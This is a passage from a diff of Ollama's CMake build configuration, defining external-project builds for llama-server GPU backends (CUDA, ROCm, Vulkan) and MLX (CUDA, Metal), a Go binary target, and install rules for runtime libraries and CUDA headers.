-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
|
||||
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
|
||||
-DFETCHCONTENT_SOURCE_DIR_LLAMA_CPP=${OLLAMA_LLAMA_CPP_SOURCE_DIR}
|
||||
-DOLLAMA_LLAMA_CPP_SKIP_COMPAT_PATCH=ON
|
||||
-DGGML_NATIVE=OFF
|
||||
-DGGML_OPENMP=OFF
|
||||
${ARG_CMAKE_ARGS}
|
||||
${_ggml_cache_args}
|
||||
${_llama_cache_args}
|
||||
)
|
||||
|
||||
if(APPLE)
|
||||
if(CMAKE_OSX_ARCHITECTURES)
|
||||
list(APPEND _cmake_args
|
||||
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
|
||||
endif()
|
||||
if(CMAKE_OSX_DEPLOYMENT_TARGET)
|
||||
list(APPEND _cmake_args
|
||||
-DCMAKE_OSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET})
|
||||
endif()
|
||||
endif()
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/llama/server
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
if(ARG_PRESET)
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/llama/server
|
||||
--preset ${ARG_PRESET}
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
endif()
|
||||
ExternalProject_Add(ollama-llama-server-${name}
|
||||
SOURCE_DIR ${CMAKE_SOURCE_DIR}/llama/server
|
||||
BINARY_DIR ${_build_dir}
|
||||
CONFIGURE_COMMAND ${_configure_command}
|
||||
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
${OLLAMA_NATIVE_BUILD_TARGET_ARG} ${ARG_TARGETS}
|
||||
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
--component llama-server
|
||||
DEPENDS ollama-llama-cpp-source
|
||||
LIST_SEPARATOR |
|
||||
# ExternalProject cannot reliably infer when nested FetchContent
|
||||
# sources, compat patches, or forwarded GGML/LLAMA cache settings need
|
||||
# a rebuild. Always entering the sub-build keeps direct `cmake --build`
|
||||
# iteration correct; the nested generator still performs incremental
|
||||
# compilation.
|
||||
BUILD_ALWAYS TRUE
|
||||
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
|
||||
USES_TERMINAL_CONFIGURE TRUE
|
||||
USES_TERMINAL_BUILD TRUE
|
||||
USES_TERMINAL_INSTALL TRUE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_add_mlx_build name)
|
||||
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "CMAKE_ARGS" ${ARGN})
|
||||
if(NOT ARG_RUNNER_DIR)
|
||||
message(FATAL_ERROR "ollama_add_mlx_build(${name}) requires RUNNER_DIR")
|
||||
endif()
|
||||
|
||||
set(_build_dir ${CMAKE_BINARY_DIR}/${ARG_RUNNER_DIR})
|
||||
ollama_collect_cache_args_with_prefix("MLX_" _mlx_cache_args)
|
||||
set(_cmake_args
|
||||
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
|
||||
-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
|
||||
-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
|
||||
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
|
||||
-DOLLAMA_SOURCE_DIR=${CMAKE_SOURCE_DIR}
|
||||
-DFETCHCONTENT_SOURCE_DIR_MLX=${OLLAMA_MLX_SOURCE_DIR}
|
||||
-DFETCHCONTENT_SOURCE_DIR_MLX-C=${OLLAMA_MLX_C_SOURCE_DIR}
|
||||
-DOLLAMA_MLX_GENERATE_WRAPPERS=OFF
|
||||
${ARG_CMAKE_ARGS}
|
||||
${_mlx_cache_args}
|
||||
)
|
||||
foreach(_arg IN ITEMS
|
||||
BLAS_INCLUDE_DIRS
|
||||
LAPACK_INCLUDE_DIRS
|
||||
CUDAToolkit_ROOT
|
||||
CUDNN_ROOT_DIR
|
||||
CUDNN_INCLUDE_PATH
|
||||
CUDNN_LIBRARY_PATH
|
||||
CMAKE_CUDA_COMPILER
|
||||
CMAKE_CUDA_HOST_COMPILER
|
||||
CMAKE_INCLUDE_PATH
|
||||
CMAKE_LIBRARY_PATH
|
||||
CMAKE_PREFIX_PATH)
|
||||
ollama_append_cache_arg_if_set(_cmake_args ${_arg})
|
||||
endforeach()
|
||||
|
||||
if(APPLE)
|
||||
if(CMAKE_OSX_ARCHITECTURES)
|
||||
list(APPEND _cmake_args
|
||||
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
|
||||
endif()
|
||||
endif()
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
if(ARG_PRESET)
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
|
||||
--preset ${ARG_PRESET}
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(ollama-mlx-${name}
|
||||
SOURCE_DIR ${CMAKE_SOURCE_DIR}/cmake/mlx
|
||||
BINARY_DIR ${_build_dir}
|
||||
CONFIGURE_COMMAND ${_configure_command}
|
||||
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlx
|
||||
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlxc
|
||||
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
--component MLX
|
||||
COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
--component MLX_VENDOR
|
||||
DEPENDS ollama-mlx-sources
|
||||
LIST_SEPARATOR |
|
||||
BUILD_ALWAYS TRUE
|
||||
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
|
||||
USES_TERMINAL_CONFIGURE TRUE
|
||||
USES_TERMINAL_BUILD TRUE
|
||||
USES_TERMINAL_INSTALL TRUE)
|
||||
endfunction()
|
||||
|
||||
find_program(GO_EXECUTABLE go)
|
||||
|
||||
if(OLLAMA_MLX_BACKENDS)
|
||||
set(_mlx_c_headers_dir "${OLLAMA_MLX_C_SOURCE_DIR}/mlx/c")
|
||||
set(_mlx_c_headers_dest "${CMAKE_SOURCE_DIR}/x/mlxrunner/mlx/include/mlx/c")
|
||||
|
||||
if(GO_EXECUTABLE AND (NOT APPLE OR CMAKE_SYSTEM_PROCESSOR STREQUAL CMAKE_HOST_SYSTEM_PROCESSOR))
|
||||
add_custom_target(ollama-mlx-generate-wrappers
|
||||
COMMAND ${CMAKE_COMMAND}
|
||||
-DMLX_C_HEADERS_DIR=${_mlx_c_headers_dir}
|
||||
-DMLX_C_HEADERS_DEST=${_mlx_c_headers_dest}
|
||||
-P "${CMAKE_SOURCE_DIR}/cmake/vendor-mlx-c-headers.cmake"
|
||||
COMMAND ${CMAKE_COMMAND} -E env
|
||||
CC= CGO_CFLAGS= CGO_CXXFLAGS=
|
||||
${GO_EXECUTABLE} generate ./x/...
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
|
||||
DEPENDS ollama-mlx-sources
|
||||
COMMENT "Regenerating MLX Go wrappers"
|
||||
VERBATIM)
|
||||
else()
|
||||
add_custom_target(ollama-mlx-generate-wrappers
|
||||
COMMAND ${CMAKE_COMMAND} -E echo
|
||||
"Cannot regenerate MLX wrappers while Go is unavailable or while cross-compiling"
|
||||
COMMAND ${CMAKE_COMMAND} -E false
|
||||
DEPENDS ollama-mlx-sources
|
||||
VERBATIM)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(OLLAMA_HAVE_LLAMA_SERVER)
|
||||
if(NOT OLLAMA_GO_OUTPUT)
|
||||
if(WIN32)
|
||||
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama.exe)
|
||||
else()
|
||||
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama)
|
||||
endif()
|
||||
endif()
|
||||
if(NOT IS_ABSOLUTE "${OLLAMA_GO_OUTPUT}")
|
||||
set(OLLAMA_GO_OUTPUT "${CMAKE_SOURCE_DIR}/${OLLAMA_GO_OUTPUT}")
|
||||
endif()
|
||||
get_filename_component(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" ABSOLUTE)
|
||||
set(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" CACHE FILEPATH "Output path for the local Ollama Go binary")
|
||||
get_filename_component(OLLAMA_GO_OUTPUT_DIR "${OLLAMA_GO_OUTPUT}" DIRECTORY)
|
||||
|
||||
set(OLLAMA_GO_LDFLAGS
|
||||
"-s -w -X=github.com/ollama/ollama/version.Version=${OLLAMA_VERSION} -X=github.com/ollama/ollama/server.mode=release")
|
||||
if(GO_EXECUTABLE)
|
||||
add_custom_target(ollama-go ALL
|
||||
COMMAND ${CMAKE_COMMAND} -E make_directory "${OLLAMA_GO_OUTPUT_DIR}"
|
||||
COMMAND ${CMAKE_COMMAND} -E env CGO_ENABLED=1
|
||||
${GO_EXECUTABLE} build -trimpath -ldflags "${OLLAMA_GO_LDFLAGS}" -o "${OLLAMA_GO_OUTPUT}" .
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
|
||||
BYPRODUCTS ${OLLAMA_GO_OUTPUT}
|
||||
COMMENT "Building Ollama Go binary"
|
||||
VERBATIM)
|
||||
else()
|
||||
add_custom_target(ollama-go ALL
|
||||
COMMAND ${CMAKE_COMMAND} -E echo
|
||||
"Go executable not found. Install Go or set GO_EXECUTABLE to build the local Ollama binary."
|
||||
COMMAND ${CMAKE_COMMAND} -E false
|
||||
COMMENT "Building Ollama Go binary"
|
||||
VERBATIM)
|
||||
endif()
|
||||
|
||||
set(_cpu_args)
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
list(APPEND _cpu_args
|
||||
-DBUILD_SHARED_LIBS=OFF
|
||||
-DGGML_BACKEND_DL=OFF
|
||||
-DGGML_METAL=ON
|
||||
-DGGML_METAL_EMBED_LIBRARY=ON)
|
||||
else()
|
||||
list(APPEND _cpu_args
|
||||
-DBUILD_SHARED_LIBS=ON
|
||||
-DGGML_BACKEND_DL=ON
|
||||
-DGGML_CPU_ALL_VARIANTS=ON)
|
||||
if(WIN32)
|
||||
list(APPEND _cpu_args -DGGML_OPENMP=ON)
|
||||
endif()
|
||||
if(APPLE)
|
||||
list(APPEND _cpu_args -DGGML_METAL=OFF)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
ollama_add_llama_server_build(local
|
||||
RUNNER_DIR ""
|
||||
TARGETS llama-server llama-quantize
|
||||
CMAKE_ARGS ${_cpu_args})
|
||||
|
||||
add_custom_target(ollama-local ALL
|
||||
DEPENDS ollama-go ollama-llama-server-local
|
||||
COMMENT "Building local Ollama payload")
|
||||
|
||||
install(PROGRAMS "${OLLAMA_GO_OUTPUT}"
|
||||
DESTINATION "${CMAKE_INSTALL_BINDIR}"
|
||||
COMPONENT ollama-local)
|
||||
endif()
|
||||
|
||||
set(_backend_targets)
|
||||
if(OLLAMA_HAVE_LLAMA_SERVER)
|
||||
foreach(_backend IN LISTS OLLAMA_LLAMA_BACKENDS)
|
||||
if(_backend STREQUAL "cuda_v12")
|
||||
ollama_llama_cuda_preset(${_backend} _cuda_preset)
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "cuda_v13")
|
||||
ollama_llama_cuda_preset(${_backend} _cuda_preset)
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "rocm_v7_1" OR _backend STREQUAL "rocm_v7_2")
|
||||
# ROCm 7.1 and 7.2 currently share build settings. Keep the backend
|
||||
# names versioned so future packaging can install side-by-side ROCm
|
||||
# payloads without changing the superbuild interface.
|
||||
ollama_rocm_preset(${_backend} _rocm_preset)
|
||||
set(_rocm_args
|
||||
-DBUILD_SHARED_LIBS=ON
|
||||
-DGGML_BACKEND_DL=ON
|
||||
-DGGML_HIP=ON
|
||||
-DCMAKE_HIP_PLATFORM=amd
|
||||
-DOLLAMA_GPU_BACKEND=hip)
|
||||
ollama_append_cache_arg_if_set(_rocm_args AMDGPU_TARGETS)
|
||||
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_FLAGS)
|
||||
ollama_append_cache_arg_if_set(_rocm_args GGML_CUDA_NO_PEER_COPY)
|
||||
ollama_append_cache_arg_if_set(_rocm_args CMAKE_PREFIX_PATH)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_rocm_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-hip
|
||||
CMAKE_ARGS ${_rocm_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "vulkan")
|
||||
ollama_add_llama_server_build(vulkan
|
||||
RUNNER_DIR vulkan
|
||||
TARGETS ggml-vulkan
|
||||
CMAKE_ARGS
|
||||
-DBUILD_SHARED_LIBS=ON
|
||||
-DGGML_BACKEND_DL=ON
|
||||
-DGGML_VULKAN=ON
|
||||
-DOLLAMA_GPU_BACKEND=vulkan)
|
||||
list(APPEND _backend_targets ollama-llama-server-vulkan)
|
||||
elseif(_backend STREQUAL "cuda_jetpack5")
|
||||
if(CMAKE_CUDA_ARCHITECTURES)
|
||||
set(_cuda_preset llama_cuda_jetpack5_user_arch)
|
||||
else()
|
||||
set(_cuda_preset llama_cuda_jetpack5)
|
||||
endif()
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "cuda_jetpack6")
|
||||
if(CMAKE_CUDA_ARCHITECTURES)
|
||||
set(_cuda_preset llama_cuda_jetpack6_user_arch)
|
||||
else()
|
||||
set(_cuda_preset llama_cuda_jetpack6)
|
||||
endif()
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
else()
|
||||
message(FATAL_ERROR
|
||||
"Unknown OLLAMA_LLAMA_BACKENDS entry '${_backend}'")
|
||||
endif()
|
||||
endforeach()
|
||||
endif()
|
||||
|
||||
if(_backend_targets)
|
||||
add_custom_target(ollama-llama-server-backends ALL
|
||||
DEPENDS ${_backend_targets}
|
||||
COMMENT "Building llama-server GPU backends")
|
||||
endif()
|
||||
|
||||
set(_mlx_targets)
|
||||
foreach(_backend IN LISTS OLLAMA_MLX_BACKENDS)
|
||||
if(_backend STREQUAL "cuda_v13")
|
||||
ollama_mlx_cuda_preset(_mlx_cuda_preset)
|
||||
set(_mlx_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_mlx_cuda_args MLX_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_mlx_build(cuda_v13
|
||||
PRESET ${_mlx_cuda_preset}
|
||||
RUNNER_DIR mlx_cuda_v13
|
||||
CMAKE_ARGS ${_mlx_cuda_args})
|
||||
list(APPEND _mlx_targets ollama-mlx-cuda_v13)
|
||||
elseif(_backend STREQUAL "metal_v3")
|
||||
if(NOT APPLE)
|
||||
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v3 is only supported on macOS")
|
||||
endif()
|
||||
ollama_check_metal_toolchain(_metal_version)
|
||||
ollama_add_mlx_build(metal_v3
|
||||
PRESET mlx_metal_v3
|
||||
RUNNER_DIR mlx_metal_v3)
|
||||
list(APPEND _mlx_targets ollama-mlx-metal_v3)
|
||||
elseif(_backend STREQUAL "metal_v4")
|
||||
if(NOT APPLE)
|
||||
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v4 is only supported on macOS")
|
||||
endif()
|
||||
ollama_check_metal_toolchain(_metal_version)
|
||||
ollama_macos_sdk_major_version(_ollama_mlx_sdk_major)
|
||||
if(_ollama_mlx_sdk_major AND _ollama_mlx_sdk_major GREATER_EQUAL 26)
|
||||
ollama_add_mlx_build(metal_v4
|
||||
PRESET mlx_metal_v4
|
||||
RUNNER_DIR mlx_metal_v4)
|
||||
list(APPEND _mlx_targets ollama-mlx-metal_v4)
|
||||
else()
|
||||
message(FATAL_ERROR
|
||||
"OLLAMA_MLX_BACKENDS=metal_v4 requires the macOS 26 SDK. "
|
||||
"Install a newer Xcode or use OLLAMA_MLX_BACKENDS=metal_v3.")
|
||||
endif()
|
||||
else()
|
||||
message(FATAL_ERROR
|
||||
"Unknown OLLAMA_MLX_BACKENDS entry '${_backend}'")
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
if(_mlx_targets)
|
||||
add_custom_target(ollama-mlx-backends ALL
|
||||
DEPENDS ${_mlx_targets}
|
||||
COMMENT "Building MLX backends")
|
||||
endif()
|
||||
|
||||
install(DIRECTORY "${OLLAMA_PAYLOAD_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/"
|
||||
DESTINATION "${OLLAMA_LIB_DIR}"
|
||||
COMPONENT ollama-local
|
||||
USE_SOURCE_PERMISSIONS)
|
||||
@@ -0,0 +1,235 @@
|
||||
cmake_minimum_required(VERSION 3.24)
|
||||
|
||||
project(OllamaMLX C CXX)
|
||||
|
||||
include(CheckLanguage)
|
||||
include(GNUInstallDirs)
|
||||
|
||||
find_package(Threads REQUIRED)
|
||||
|
||||
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
|
||||
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
|
||||
endif()
|
||||
|
||||
if(NOT DEFINED BUILD_SHARED_LIBS)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
endif()
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS ON)
|
||||
|
||||
if(APPLE)
|
||||
set(CMAKE_BUILD_RPATH "@loader_path")
|
||||
set(CMAKE_INSTALL_RPATH "@loader_path")
|
||||
set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
|
||||
endif()
|
||||
|
||||
if(NOT DEFINED OLLAMA_SOURCE_DIR OR "${OLLAMA_SOURCE_DIR}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_SOURCE_DIR "${CMAKE_CURRENT_LIST_DIR}/../.." ABSOLUTE)
|
||||
endif()
|
||||
get_filename_component(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" ABSOLUTE BASE_DIR "${CMAKE_CURRENT_LIST_DIR}")
|
||||
set(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" CACHE PATH "Ollama repository root")
|
||||
|
||||
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
|
||||
set(OLLAMA_RUNNER_DIR "" CACHE STRING "Ollama runtime payload subdirectory")
|
||||
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
|
||||
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
|
||||
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
|
||||
|
||||
if(MLX_CUDA_ARCHITECTURES OR CMAKE_CUDA_ARCHITECTURES)
|
||||
check_language(CUDA)
|
||||
endif()
|
||||
|
||||
option(OLLAMA_MLX_GENERATE_WRAPPERS "Regenerate MLX Go wrappers" OFF)
|
||||
|
||||
message(STATUS "Setting up MLX (this takes a while...)")
|
||||
add_subdirectory(${OLLAMA_SOURCE_DIR}/x/imagegen/mlx ${CMAKE_BINARY_DIR}/x/imagegen/mlx)
|
||||
|
||||
# Find CUDA toolkit if MLX is built with CUDA support.
|
||||
find_package(CUDAToolkit)
|
||||
|
||||
# Build list of directories for runtime dependency resolution.
|
||||
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
|
||||
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds).
|
||||
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location.
|
||||
if(CUDNN_ROOT_DIR)
|
||||
set(_cudnn_root "${CUDNN_ROOT_DIR}")
|
||||
elseif(DEFINED ENV{CUDNN_ROOT_DIR})
|
||||
set(_cudnn_root "$ENV{CUDNN_ROOT_DIR}")
|
||||
endif()
|
||||
if(_cudnn_root)
|
||||
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/).
|
||||
file(GLOB CUDNN_BIN_SUBDIRS "${_cudnn_root}/bin/*")
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
|
||||
endif()
|
||||
# Add build output directory and MLX dependency build directories.
|
||||
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
|
||||
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/).
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
|
||||
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
|
||||
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
|
||||
# so there is no runtime dependency. This path covers the stub build dir
|
||||
# for windows so we include the DLL in our dependencies.
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
|
||||
|
||||
# Base regexes for runtime dependencies (cross-platform).
|
||||
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
|
||||
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer).
|
||||
if(WIN32)
|
||||
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
|
||||
endif()
|
||||
|
||||
# Keep mlx/mlxc targets separate from runtime dependencies so --strip only
|
||||
# applies to the binaries we build, not vendor DLLs/libs.
|
||||
install(TARGETS mlx mlxc
|
||||
RUNTIME_DEPENDENCY_SET mlx_runtime_deps
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
install(RUNTIME_DEPENDENCY_SET mlx_runtime_deps
|
||||
DIRECTORIES ${MLX_RUNTIME_DIRS}
|
||||
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
|
||||
)
|
||||
|
||||
if(TARGET jaccl)
|
||||
install(TARGETS jaccl
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
endif()
|
||||
|
||||
# Install the Metal library for macOS arm64 (must be colocated with the binary).
|
||||
# Metal backend is only built for arm64, not x86_64.
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Install headers for NVRTC JIT compilation at runtime.
|
||||
# MLX's own install rules use the default component so they get skipped by
|
||||
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
|
||||
#
|
||||
# Layout:
|
||||
# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ - CCCL headers
|
||||
# ${OLLAMA_INSTALL_DIR}/include/*.h - CUDA toolkit headers
|
||||
#
|
||||
# MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir()[.parent_path()] / "include" / "cccl"
|
||||
# On Linux, MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
|
||||
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include.
|
||||
# This will need refinement if we add multiple CUDA versions for MLX in the future.
|
||||
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
|
||||
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
|
||||
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
|
||||
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
|
||||
# $CUDA_PATH/include/*.h via NVRTC --include-path.
|
||||
if(CUDAToolkit_FOUND)
|
||||
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
|
||||
# (e.g. ".../include;.../include/cccl"). Find the entry that
|
||||
# contains the CUDA runtime headers we need.
|
||||
set(_cuda_inc "")
|
||||
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
|
||||
if(EXISTS "${_dir}/cuda_runtime_api.h")
|
||||
set(_cuda_inc "${_dir}")
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
if(NOT _cuda_inc)
|
||||
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
|
||||
else()
|
||||
set(_dst "${OLLAMA_INSTALL_DIR}/include")
|
||||
set(_MLX_JIT_CUDA_HEADERS
|
||||
builtin_types.h
|
||||
cooperative_groups.h
|
||||
cuda_bf16.h
|
||||
cuda_bf16.hpp
|
||||
cuda_device_runtime_api.h
|
||||
cuda_fp16.h
|
||||
